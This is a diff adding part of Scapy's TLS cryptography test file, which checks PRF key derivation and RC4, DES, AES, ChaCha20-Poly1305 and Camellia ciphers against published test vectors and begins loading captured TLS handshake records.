+t3 = f.derive_key_block(b"C"*48, b"A"*32, b"B"*32, 72) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7\xed\xd6\x92\xe0O\x0e\xbf\xc6\x97\x9f~\x95\xcf\xb0\xe7a\x1d\xbc]\xf4&Z\x81J'
+t4 = f.derive_key_block(b"D"*48, b"B"*32, b"A"*32, 72) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d\xeal\x8ea\x08\x9d\xb3\xf3\xf4\xa6[\'j\xda\rT"\x10\xa5Z\n\xc0r\xf3'
+t1 and t2 and t3 and t4
+
+
+= Crypto - compute_master_secret() in TLS 1.0 mode
+from scapy.layers.tls.crypto.prf import PRF
+f = PRF(tls_version=0x301)
+t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b"k\\[e\x11\xab\xfe6\trN\x9e\x8d\xb09{\x17\x8d\x9f\xc6_' G\x05\x08}\xf7Q\x8e\xcb\xff\x00\xfc7\xd0\xf0z\xea\x8b\x98%\x90\x89sd\x98\xa1"
+t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'k\xd2\xf7\x1aqt\xa4~\x9bqf\x0f:\xc4%\x9a\x07\x17\x14\xf4\xdf&)*\x1c\x9c8\x8em\xe1\x13\x17\xa7\xd2\x051Q<M~\xc2a\x85\x82\xe6\xd7.['
+t3 = f.compute_master_secret(b"C"*48, b"A"*32, b"B"*32) == b'\xe57\xae.,B\xeb(/?\xf4tR#\xd0\xa9"\xf7-\x9d\x0e\xd7\xd9\x1c\x1f\x9b\x95\xe6\xd0\x0e(\x06W7s(^"x\xbb\xdb\xb6\xae\xf75J\x0f\xbf'
+t4 = f.compute_master_secret(b"D"*48, b"B"*32, b"A"*32) == b'\xeb3\xf5Ty\x08xqP\x01p\x12\x95\xd4\xf5y{\xe7\xea5\nS\xb1T\xea\xe3d\x8b\xd7\xb89\xcf\xb9\xe0l\x95d\xbd-\x97\xea\xf20n\x96t\xfe\xff'
+t1 and t2 and t3 and t4
+
+
+= Crypto - derive_key_block() in TLS 1.0 mode
+t1 = f.derive_key_block(b"A"*48, b"B"*32, b"C"*32, 72) == b'\x06\xccA\xd5\xf3\x9dT`ZC!/\xa0\xbe\x95\x86m\xdb@\x18\xfb\x95\xad\xcd\xac<(K\x88\xacB\x92s\x8d7AVG\xf04\x0be\x8dv\x02\xd6\x03\x7f\xe4\x8eYe\x88\xb7YI\xc2\xf0!\x1dSx\x86\xdeY\x81\x89\x11\xa6\xd9\xd1\xed'
+t2 = f.derive_key_block(b"A"*48, b"C"*32, b"B"*32, 72) == b"\\@d\x1d9V\xae\xe2'\xf6Q\xc9\xd7\x8beu\xe8u\xd9\xe8\r\x18a\x8c|\xde\x95H\xec\xc5}I\xf9s(e\xe4\x87*s\x98=\x96wsj\xfe\x0euo\x1f\\1hh-\x0f\xda9\x9etk\x0fW\x03\xe2k\xb0\x87Pb3"
+t3 = f.derive_key_block(b"C"*48, b"A"*32, b"B"*32, 72) == b'\x9c\xaate\x07\x12K\xb2\xc3zT1\xf4\x1fN\xa8\x03\xbd\xcfF_\x0c\x0bF\x14\x8f\xcf\x08c\xa6\x80\x1d\xd8Wh.E\xf5\x9a\xfd\x1d\x8a6\xf7\x950\xf4\xbcm\x89\xa6!\x7fc\x19D\xb4\xcc\x8f\xf7x\x12\xe0q\x17\x84-\xcc[\x7f@p'
+t4 = f.derive_key_block(b"D"*48, b"B"*32, b"A"*32, 72) == b't{P+k\xe1\xe5O\xbe]L?$\x8d7O.\xe6\xd6\xa8\x19U\x87\x04%\x13m+_\xb9\x99\x03\xe1\xfd1]*7\x8d\xa0Xx\xa1\xd1\xfe\x0c\xb1\xb1\xa8\xdd\x0c\xb20@v\xb6\xdc\x86d\n\x8a-\x95\xaeL\x97\xfaFjl\xfb^'
+t1 and t2 and t3 and t4
+
+
+###############################################################################
+### Ciphers                                                                 ###
+###############################################################################
+
++ Test RC4
+= Crypto - RC4 stream cipher, encryption/decryption checks from RFC 6229
+
+class _rc4_40_test:
+    k= b"\x01\x02\x03\x04\x05"
+    s=(b"\xb2\x39\x63\x05\xf0\x3d\xc0\x27\xcc\xc3\x52\x4a\x0a\x11\x18\xa8" +
+       b"\x69\x82\x94\x4f\x18\xfc\x82\xd5\x89\xc4\x03\xa4\x7a\x0d\x09\x19")
+    s_1024= b"\x30\xab\xbc\xc7\xc2\x0b\x01\x60\x9f\x23\xee\x2d\x5f\x6b\xb7\xdf"
+
+class _rc4_128_test:
+    k= b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
+    s=(b"\x9a\xc7\xcc\x9a\x60\x9d\x1e\xf7\xb2\x93\x28\x99\xcd\xe4\x1b\x97"
+       b"\x52\x48\xc4\x95\x90\x14\x12\x6a\x6e\x8a\x84\xf1\x1d\x1a\x9e\x1c")
+    s_1024=b"\xbd\xf0\x32\x4e\x60\x83\xdc\xc6\xd3\xce\xdd\x3c\xa8\xc5\x3c\x16"
+
+def _all_rc4_tests():
+    from scapy.layers.tls.crypto.cipher_stream import (Cipher_RC4_40,
+                                                       Cipher_RC4_128)
+    res = True
+    t = _rc4_40_test
+    c = Cipher_RC4_40(t.k).encrypt(b"\x00"*(1024+16))
+    res = res and (c[:32] == t.s) and (c[-16:] == t.s_1024)
+    res = res and Cipher_RC4_40(t.k).decrypt(t.s) == b"\x00"*32
+    t = _rc4_128_test
+    c = Cipher_RC4_128(t.k).encrypt(b"\x00"*(1024+16))
+    res = res and (c[:32] == t.s) and (c[-16:] == t.s_1024)
+    res = res and Cipher_RC4_128(t.k).decrypt(t.s) == b"\x00"*32
+    return res
+
+_all_rc4_tests()
+
+
+= Crypto - RC2 block cipher, encryption/decryption checks from RFC 2268
+
+import binascii
+class _rc2_128_cbc_test:
+    k= binascii.unhexlify("88bca90e90875a7f0f79c384627bafb2")
+    p= binascii.unhexlify("0000000000000000")
+    c= binascii.unhexlify("2269552ab0f85ca6")
+    iv=binascii.unhexlify("0000000000000000")
+
+def _all_rc2_tests():
+    try:
+        from scapy.layers.tls.crypto.cipher_block import Cipher_RC2_CBC
+        res = True
+        t = _rc2_128_cbc_test
+        tmp = (Cipher_RC2_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+               Cipher_RC2_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+        res = res and tmp
+        return res
+    except ImportError:
+        return True
+
+_all_rc2_tests()
+
+
+= Crypto - DES cipher in CBC mode, check from FIPS PUB 81
+
+class _descbc_test:
+    k= binascii.unhexlify("0123456789abcdef")
+    p= binascii.unhexlify("4e6f77206973207468652074696d6520666f7220616c6c20")
+    c= binascii.unhexlify("e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6")
+    iv=binascii.unhexlify("1234567890abcdef")
+
+def _all_aes_cbc_tests():
+    from scapy.layers.tls.crypto.cipher_block import Cipher_DES_CBC
+    res = True
+    t = _descbc_test
+    tmp = (Cipher_DES_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+           Cipher_DES_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+    res = res and tmp
+    return res
+
+_all_aes_cbc_tests()
+
+
+= Crypto - AES cipher in CBC mode, checks from RFC 3602
+
+class _aes128cbc_test_1:
+    k= b"\x06\xa9\x21\x40\x36\xb8\xa1\x5b\x51\x2e\x03\xd5\x34\x12\x00\x06"
+    p= b"Single block msg"
+    c= b"\xe3\x53\x77\x9c\x10\x79\xae\xb8\x27\x08\x94\x2d\xbe\x77\x18\x1a"
+    iv=b"\x3d\xaf\xba\x42\x9d\x9e\xb4\x30\xb4\x22\xda\x80\x2c\x9f\xac\x41"
+
+class _aes128cbc_test_2:
+    k= b"\x56\xe4\x7a\x38\xc5\x59\x89\x74\xbc\x46\x90\x3d\xba\x29\x03\x49"
+    p=(b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" +
+       b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" +
+       b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" +
+       b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf")
+    c=(b"\xc3\x0e\x32\xff\xed\xc0\x77\x4e\x6a\xff\x6a\xf0\x86\x9f\x71\xaa" +
+       b"\x0f\x3a\xf0\x7a\x9a\x31\xa9\xc6\x84\xdb\x20\x7e\xb0\xef\x8e\x4e" +
+       b"\x35\x90\x7a\xa6\x32\xc3\xff\xdf\x86\x8b\xb7\xb2\x9d\x3d\x46\xad" +
+       b"\x83\xce\x9f\x9a\x10\x2e\xe9\x9d\x49\xa5\x3e\x87\xf4\xc3\xda\x55")
+    iv=b"\x8c\xe8\x2e\xef\xbe\xa0\xda\x3c\x44\x69\x9e\xd7\xdb\x51\xb7\xd9"
+
+class _aes256cbc_test_1:
+    k=(b"\x60\x3d\xeb\x10\x15\xca\x71\xbe\x2b\x73\xae\xf0\x85\x7d\x77\x81" +
+       b"\x1f\x35\x2c\x07\x3b\x61\x08\xd7\x2d\x98\x10\xa3\x09\x14\xdf\xf4")
+    p= b"\x6b\xc1\xbe\xe2\x2e\x40\x9f\x96\xe9\x3d\x7e\x11\x73\x93\x17\x2a"
+    c= b"\xf5\x8c\x4c\x04\xd6\xe5\xf1\xba\x77\x9e\xab\xfb\x5f\x7b\xfb\xd6"
+    iv=b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"
+
+class _aes256cbc_test_2:
+    k=(b"\x60\x3d\xeb\x10\x15\xca\x71\xbe\x2b\x73\xae\xf0\x85\x7d\x77\x81" +
+       b"\x1f\x35\x2c\x07\x3b\x61\x08\xd7\x2d\x98\x10\xa3\x09\x14\xdf\xf4")
+    p= b"\xf6\x9f\x24\x45\xdf\x4f\x9b\x17\xad\x2b\x41\x7b\xe6\x6c\x37\x10"
+    c= b"\xb2\xeb\x05\xe2\xc3\x9b\xe9\xfc\xda\x6c\x19\x07\x8c\x6a\x9d\x1b"
+    iv=b"\x39\xF2\x33\x69\xA9\xD9\xBA\xCF\xA5\x30\xE2\x63\x04\x23\x14\x61"
+
+def _all_aes_cbc_tests():
+    from scapy.layers.tls.crypto.cipher_block import (Cipher_AES_128_CBC,
+                                                      Cipher_AES_256_CBC)
+    res = True
+    for t in [_aes128cbc_test_1, _aes128cbc_test_2]:
+        tmp = (Cipher_AES_128_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+               Cipher_AES_128_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+        res = res and tmp
+    for t in [_aes256cbc_test_1, _aes256cbc_test_2]:
+        tmp = (Cipher_AES_256_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+               Cipher_AES_256_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+        res = res and tmp
+    return res
+
+_all_aes_cbc_tests()
+
+
+= Crypto - AES cipher in GCM mode, auth_encrypt() and auth_decrypt() checks
+#https://tools.ietf.org/html/draft-mcgrew-gcm-test-01
+
+class _aes128gcm_test_1:
+    k= b"\x4c\x80\xcd\xef\xbb\x5d\x10\xda\x90\x6a\xc7\x3c\x36\x13\xa6\x34"
+    n= b"\x22\x43\x3c\x64\x48\x55\xec\x7d\x3a\x23\x4b\xfd"
+    p=(b"\x08\x00\xc6\xcd\x02\x00\x07\x00\x61\x62\x63\x64\x65\x66\x67\x68" +
+       b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x01\x02\x02\x01")
+    a= b"\x00\x00\x43\x21\x87\x65\x43\x21\x00\x00\x00\x07"
+    ct=(b"\x74\x75\x2e\x8a\xeb\x5d\x87\x3c\xd7\xc0\xf4\xac\xc3\x6c\x4b\xff" +
+       b"\x84\xb7\xd7\xb9\x8f\x0c\xa8\xb6\xac\xda\x68\x94\xbc\x61\x90\x69" +
+       b"\xef\x9c\xbc\x28\xfe\x1b\x56\xa7\xc4\xe0\xd5\x8c\x86\xcd\x2b\xc0")
+
+class _aes128gcm_test_2:
+    k= b"\x3d\xe0\x98\x74\xb3\x88\xe6\x49\x19\x88\xd0\xc3\x60\x7e\xae\x1f"
+    n= b"\x57\x69\x0e\x43\x4e\x28\x00\x00\xa2\xfc\xa1\xa3"
+    p=(b"\x45\x00\x00\x30\xda\x3a\x00\x00\x80\x01\xdf\x3b\xc0\xa8\x00\x05" +
+       b"\xc0\xa8\x00\x01\x08\x00\xc6\xcd\x02\x00\x07\x00\x61\x62\x63\x64" +
+       b"\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +
+       b"\x01\x02\x02\x01")
+    a= b"\x3f\x7e\xf6\x42\x10\x10\x10\x10\x10\x10\x10\x10"
+    ct=(b"\xfb\xa2\xca\xa8\xc6\xc5\xf9\xf0\xf2\x2c\xa5\x4a\x06\x12\x10\xad" +
+       b"\x3f\x6e\x57\x91\xcf\x1a\xca\x21\x0d\x11\x7c\xec\x9c\x35\x79\x17" +
+       b"\x65\xac\xbd\x87\x01\xad\x79\x84\x5b\xf9\xfe\x3f\xba\x48\x7b\xc9" +
+       b"\x63\x21\x93\x06\x84\xee\xca\xdb\x56\x91\x25\x46\xe7\xa9\x5c\x97" +
+       b"\x40\xd7\xcb\x05")
+
+class _aes256gcm_test_1:
+    k=(b"\x6c\x65\x67\x61\x6c\x69\x7a\x65\x6d\x61\x72\x69\x6a\x75\x61\x6e" +
+       b"\x61\x61\x6e\x64\x64\x6f\x69\x74\x62\x65\x66\x6f\x72\x65\x69\x61")
+    n= b"\x74\x75\x72\x6e\x33\x30\x21\x69\x67\x65\x74\x6d"
+    p=(b"\x45\x00\x00\x30\xda\x3a\x00\x00\x80\x01\xdf\x3b\xc0\xa8\x00\x05" +
+       b"\xc0\xa8\x00\x01\x08\x00\xc6\xcd\x02\x00\x07\x00\x61\x62\x63\x64" +
+       b"\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +
+       b"\x01\x02\x02\x01")
+    a= b"\x79\x6b\x69\x63\xff\xff\xff\xff\xff\xff\xff\xff"
+    ct=(b"\xf9\x7a\xb2\xaa\x35\x6d\x8e\xdc\xe1\x76\x44\xac\x8c\x78\xe2\x5d" +
+       b"\xd2\x4d\xed\xbb\x29\xeb\xf1\xb6\x4a\x27\x4b\x39\xb4\x9c\x3a\x86" +
+       b"\x4c\xd3\xd7\x8c\xa4\xae\x68\xa3\x2b\x42\x45\x8f\xb5\x7d\xbe\x82" +
+       b"\x1d\xcc\x63\xb9\xd0\x93\x7b\xa2\x94\x5f\x66\x93\x68\x66\x1a\x32" +
+       b"\x9f\xb4\xc0\x53")
+
+class _aes256gcm_test_2:
+    # this funny plaintext is not our deed
+    k=(b"\xab\xbc\xcd\xde\xf0\x01\x12\x23\x34\x45\x56\x67\x78\x89\x9a\xab" +
+       b"\xab\xbc\xcd\xde\xf0\x01\x12\x23\x34\x45\x56\x67\x78\x89\x9a\xab")
+    n= b"\x73\x61\x6c\x74\x61\x6e\x64\x01\x69\x76\x65\x63"
+    p=(b"\x63\x69\x73\x63\x6f\x01\x72\x75\x6c\x65\x73\x01\x74\x68\x65\x01" +
+       b"\x6e\x65\x74\x77\x65\x01\x64\x65\x66\x69\x6e\x65\x01\x74\x68\x65" +
+       b"\x74\x65\x63\x68\x6e\x6f\x6c\x6f\x67\x69\x65\x73\x01\x74\x68\x61" +
+       b"\x74\x77\x69\x6c\x6c\x01\x64\x65\x66\x69\x6e\x65\x74\x6f\x6d\x6f" +
+       b"\x72\x72\x6f\x77\x01\x02\x02\x01")
+    a= b"\x17\x40\x5e\x67\x15\x6f\x31\x26\xdd\x0d\xb9\x9b"
+    ct=(b"\xd4\xb7\xed\x86\xa1\x77\x7f\x2e\xa1\x3d\x69\x73\xd3\x24\xc6\x9e" +
+       b"\x7b\x43\xf8\x26\xfb\x56\x83\x12\x26\x50\x8b\xeb\xd2\xdc\xeb\x18" +
+       b"\xd0\xa6\xdf\x10\xe5\x48\x7d\xf0\x74\x11\x3e\x14\xc6\x41\x02\x4e" +
+       b"\x3e\x67\x73\xd9\x1a\x62\xee\x42\x9b\x04\x3a\x10\xe3\xef\xe6\xb0" +
+       b"\x12\xa4\x93\x63\x41\x23\x64\xf8\xc0\xca\xc5\x87\xf2\x49\xe5\x6b" +
+       b"\x11\xe2\x4f\x30\xe4\x4c\xcc\x76")
+
+def _all_aes_gcm_tests():
+    from scapy.layers.tls.crypto.cipher_aead import (Cipher_AES_128_GCM,
+                                                     Cipher_AES_256_GCM)
+    res = True
+    ciphers = []
+    for t in [_aes128gcm_test_1, _aes128gcm_test_2]:
+        c = Cipher_AES_128_GCM(key=t.k, fixed_iv=t.n[:4],
+                               nonce_explicit=pkcs_os2ip(t.n[4:]))
+        ne = t.n[-c.nonce_explicit_len:]
+        tup = ne, t.p, t.ct[-c.tag_len:]
+        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup
+        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)
+        res = res and tmp1 and tmp2
+    for t in [_aes256gcm_test_1, _aes256gcm_test_2]:
+        c = Cipher_AES_256_GCM(key=t.k, fixed_iv=t.n[:4],
+                               nonce_explicit=pkcs_os2ip(t.n[4:]))
+        ne = t.n[-c.nonce_explicit_len:]
+        tup = ne, t.p, t.ct[-c.tag_len:]
+        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup
+        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)
+        res = res and tmp1 and tmp2
+    return res
+
+_all_aes_gcm_tests()
+
+
+= Crypto - AES cipher in CCM mode, checks from IEEE P1619.1
+~ crypto_advanced
+
+class _aes256ccm_test_1:
+    k= b"\0"*32
+    n= b"\0"*12
+    p= b"\0"*16
+    a= b""
+    ct=(b"\xc1\x94\x40\x44\xc8\xe7\xaa\x95\xd2\xde\x95\x13\xc7\xf3\xdd\x8c" +
+       b"\x4b\x0a\x3e\x5e\x51\xf1\x51\xeb\x0f\xfa\xe7\xc4\x3d\x01\x0f\xdb")
+
+class _aes256ccm_test_2:
+    k=(b"\xfb\x76\x15\xb2\x3d\x80\x89\x1d\xd4\x70\x98\x0b\xc7\x95\x84\xc8" +
+       b"\xb2\xfb\x64\xce\x60\x97\x87\x8d\x17\xfc\xe4\x5a\x49\xe8\x30\xb7")
+    n= b"\xdb\xd1\xa3\x63\x60\x24\xb7\xb4\x02\xda\x7d\x6f"
+    p= b"\xa9"
+    a= b"\x36"
+    ct=b"\x9d\x32\x61\xb1\xcf\x93\x14\x31\xe9\x9a\x32\x80\x67\x38\xec\xbd\x2a"
+
+class _aes256ccm_test_3:
+    k=(b"\xfb\x76\x15\xb2\x3d\x80\x89\x1d\xd4\x70\x98\x0b\xc7\x95\x84\xc8" +
+       b"\xb2\xfb\x64\xce\x60\x97\x8f\x4d\x17\xfc\xe4\x5a\x49\xe8\x30\xb7")
+    n= b"\xdb\xd1\xa3\x63\x60\x24\xb7\xb4\x02\xda\x7d\x6f"
+    p= b"\xa8\x45\x34\x8e\xc8\xc5\xb5\xf1\x26\xf5\x0e\x76\xfe\xfd\x1b\x1e"
+    a= b""
+    ct=(b"\xcc\x88\x12\x61\xc6\xa7\xfa\x72\xb9\x6a\x17\x39\x17\x6b\x27\x7f" +
+       b"\x34\x72\xe1\x14\x5f\x2c\x0c\xbe\x14\x63\x49\x06\x2c\xf0\xe4\x23")
+
+class _aes256ccm_test_4:
+    k=(b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" +
+       b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f")
+    n= b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b"
+    p=(b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" +
+       b"\x30\x31\x32\x33\x34\x35\x36\x37")
+    a=(b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" +
+       b"\x10\x11\x12\x13")
+    ct=(b"\x04\xf8\x83\xae\xb3\xbd\x07\x30\xea\xf5\x0b\xb6\xde\x4f\xa2\x21" +
+       b"\x20\x34\xe4\xe4\x1b\x0e\x75\xe5\x9b\xba\x3f\x3a\x10\x7f\x32\x39" +
+       b"\xbd\x63\x90\x29\x23\xf8\x03\x71")
+
+def _all_aes_ccm_tests():
+    from scapy.layers.tls.crypto.cipher_aead import Cipher_AES_256_CCM
+    res = True
+    ciphers = []
+    for t in [_aes256ccm_test_1, _aes256ccm_test_2,
+              _aes256ccm_test_3, _aes256ccm_test_4]:
+        c = Cipher_AES_256_CCM(key=t.k, fixed_iv=t.n[:4],
+                               nonce_explicit=pkcs_os2ip(t.n[4:]))
+        ne = t.n[-c.nonce_explicit_len:]
+        tup = ne, t.p, t.ct[-c.tag_len:]
+        tmp1 = c.auth_decrypt(t.a, ne + t.ct, add_length=False) == tup
+        tmp2 = c.auth_encrypt(t.p, t.a) == (ne + t.ct)
+        res = res and tmp1 and tmp2
+    return res
+
+_all_aes_ccm_tests()
+
+
+= Crypto - ChaCha20POly1305 test (test vector A.5 from RFC 7539)
+~ crypto_advanced
+
+import binascii
+def clean(s):
+    return binascii.unhexlify(''.join(c for c in s if c.isalnum()))
+
+class _chacha20poly1305_test_1:
+    k= clean("""
+        1c 92 40 a5 eb 55 d3 8a f3 33 88 86 04 f6 b5 f0
+        47 39 17 c1 40 2b 80 09 9d ca 5c bc 20 70 75 c0
+        """)
+    n= clean("""
+        00 00 00 00 01 02 03 04 05 06 07 08
+        """)
+    p= clean("""
+        49 6e 74 65 72 6e 65 74 2d 44 72 61 66 74 73 20
+        61 72 65 20 64 72 61 66 74 20 64 6f 63 75 6d 65
+        6e 74 73 20 76 61 6c 69 64 20 66 6f 72 20 61 20
+        6d 61 78 69 6d 75 6d 20 6f 66 20 73 69 78 20 6d
+        6f 6e 74 68 73 20 61 6e 64 20 6d 61 79 20 62 65
+        20 75 70 64 61 74 65 64 2c 20 72 65 70 6c 61 63
+        65 64 2c 20 6f 72 20 6f 62 73 6f 6c 65 74 65 64
+        20 62 79 20 6f 74 68 65 72 20 64 6f 63 75 6d 65
+        6e 74 73 20 61 74 20 61 6e 79 20 74 69 6d 65 2e
+        20 49 74 20 69 73 20 69 6e 61 70 70 72 6f 70 72
+        69 61 74 65 20 74 6f 20 75 73 65 20 49 6e 74 65
+        72 6e 65 74 2d 44 72 61 66 74 73 20 61 73 20 72
+        65 66 65 72 65 6e 63 65 20 6d 61 74 65 72 69 61
+        6c 20 6f 72 20 74 6f 20 63 69 74 65 20 74 68 65
+        6d 20 6f 74 68 65 72 20 74 68 61 6e 20 61 73 20
+        2f e2 80 9c 77 6f 72 6b 20 69 6e 20 70 72 6f 67
+        72 65 73 73 2e 2f e2 80 9d
+        """)
+    a= clean("""
+        f3 33 88 86 00 00 00 00 00 00 4e 91
+        """)
+    ct=clean("""
+        64 a0 86 15 75 86 1a f4 60 f0 62 c7 9b e6 43 bd
+        5e 80 5c fd 34 5c f3 89 f1 08 67 0a c7 6c 8c b2
+        4c 6c fc 18 75 5d 43 ee a0 9e e9 4e 38 2d 26 b0
+        bd b7 b7 3c 32 1b 01 00 d4 f0 3b 7f 35 58 94 cf
+        33 2f 83 0e 71 0b 97 ce 98 c8 a8 4a bd 0b 94 81
+        14 ad 17 6e 00 8d 33 bd 60 f9 82 b1 ff 37 c8 55
+        97 97 a0 6e f4 f0 ef 61 c1 86 32 4e 2b 35 06 38
+        36 06 90 7b 6a 7c 02 b0 f9 f6 15 7b 53 c8 67 e4
+        b9 16 6c 76 7b 80 4d 46 a5 9b 52 16 cd e7 a4 e9
+        90 40 c5 a4 04 33 22 5e e2 82 a1 b0 a0 6c 52 3e
+        af 45 34 d7 f8 3f a1 15 5b 00 47 71 8c bc 54 6a
+        0d 07 2b 04 b3 56 4e ea 1b 42 22 73 f5 48 27 1a
+        0b b2 31 60 53 fa 76 99 19 55 eb d6 31 59 43 4e
+        ce bb 4e 46 6d ae 5a 10 73 a6 72 76 27 09 7a 10
+        49 e6 17 d9 1d 36 10 94 fa 68 f0 ff 77 98 71 30
+        30 5b ea ba 2e da 04 df 99 7b 71 4d 6c 6f 2c 29
+        a6 ad 5c b4 02 2b 02 70 9b
+        """)
+    tag=clean("""
+        ee ad 9d 67 89 0c bb 22 39 23 36 fe a1 85 1f 38
+        """)
+
+def _all_chacha20poly1305_tests():
+    from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305_TLS13
+    res = True
+    ciphers = []
+    for t in [_chacha20poly1305_test_1]:
+        c = Cipher_CHACHA20_POLY1305_TLS13(key=t.k, fixed_iv=t.n)
+        tmp1 = c.auth_decrypt(t.a, t.ct + t.tag, b"\0"*8) == (t.p, t.tag)
+        tmp2 = c.auth_encrypt(t.p, t.a, b"\0"*8) == t.ct + t.tag
+        res = res and tmp1 and tmp2
+    return res
+
+_all_chacha20poly1305_tests()
+
+
+= Crypto - Camellia cipher, encryption/decryption checks
+
+class _Camellia128_test:
+    k= b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10"
+    p= b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10"
+    c= b"\x67\x67\x31\x38\x54\x96\x69\x73\x08\x57\x06\x56\x48\xea\xbe\x43"
+    iv=b"\0"*16
+
+class _Camellia256_test:
+    k=(b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10" +
+       b"\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff")
+    p= b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10"
+    c= b"\x9a\xcc\x23\x7d\xff\x16\xd7\x6c\x20\xef\x7c\x91\x9e\x3a\x75\x09"
+    iv=b"\0"*16
+
+def _all_camellia_tests():
+    from scapy.layers.tls.crypto.cipher_block import (Cipher_CAMELLIA_128_CBC,
+                                                      Cipher_CAMELLIA_256_CBC)
+    res = True
+    t = _Camellia128_test
+    tmp = (Cipher_CAMELLIA_128_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+           Cipher_CAMELLIA_128_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+    res = res and tmp
+    t = _Camellia256_test
+    tmp = (Cipher_CAMELLIA_256_CBC(t.k, t.iv).encrypt(t.p) == t.c and
+           Cipher_CAMELLIA_256_CBC(t.k, t.iv).decrypt(t.c) == t.p)
+    res = res and tmp
+    return res
+
+_all_camellia_tests()
+
+
+###############################################################################
+#################### Reading protected test session ###########################
+###############################################################################
+
+# These packets come from a random TLS thread captured
+# during a github connection from a Mozilla Firefox client.
+
++ Read a protected TLS session
+
+= Reading test session - Loading unparsed TLS records
+p1_ch = b'\x16\x03\x01\x00\xd5\x01\x00\x00\xd1\x03\x03\x17\xf2M\xc3|\x19\xdb\xc3<\xb5J\x0b\x8d5\x81\xc5\xce\t 2\x08\xd8\xec\xd1\xf8"B\x9cW\xd0\x16v\x00\x00\x16\xc0+\xc0/\xc0\n\xc0\t\xc0\x13\xc0\x14\x003\x009\x00/\x005\x00\n\x01\x00\x00\x92\x00\x00\x00\x1f\x00\x1d\x00\x00\x1acamo.githubusercontent.com\xff\x01\x00\x01\x00\x00\n\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00#\x00\x003t\x00\x00\x00\x10\x00)\x00\'\x05h2-16\x05h2-15\x05h2-14\x02h2\x08spdy/3.1\x08http/1.1\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\r\x00\x16\x00\x14\x04\x01\x05\x01\x06\x01\x02\x01\x04\x03\x05\x03\x06\x03\x02\x03\x04\x02\x02\x02'
+p2_sh = b'\x16\x03\x03\x00T\x02\x00\x00P\x03\x03F\x07n\xe2\x0c\x97g\xb7o\xb6\x9b\x14\x19\xbd\xdd1\x80@\xaaQ+\xc2,\x19\x15"\x82\xe8\xc5,\xe8\x12\x00\xc0/\x00\x00(\x00\x00\x00\x00\xff\x01\x00\x01\x00\x00\x0b\x00\x04\x03\x00\x01\x02\x00#\x00\x00\x00\x05\x00\x00\x00\x10\x00\x0b\x00\t\x08http/1.1'
